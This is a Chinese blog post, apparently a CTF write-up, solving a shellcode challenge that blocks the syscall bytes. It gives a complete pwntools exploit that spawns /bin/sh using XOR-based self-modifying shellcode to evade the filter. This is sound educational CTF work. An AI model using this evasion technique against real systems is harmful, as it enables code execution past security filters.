moe-shellcode检测

本文最后更新于 2024年10月23日 晚上

moe-shellcode检测

shellcode中检测不能出现syscall的机器码,即‘\x0f\x05’

可以采取异或的方式来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./shellcode')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

code='''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 0x3b
pop rax
xor edx,edx
nop
nop
xor word ptr[rip], 0x959f
nop
nop
'''
shellcode=asm((code))
gdb.attach(p)

sd(shellcode)

p.interactive()

0x9090^0x959f=0x50f

两个nop都是0x90,异或后小端序存放为0f 05。达成执行syscall。


moe-shellcode检测
https://xyyr-c.github.io/2024/10/23/moe-shellcode检测/
作者
xyyr
发布于
2024年10月23日
许可协议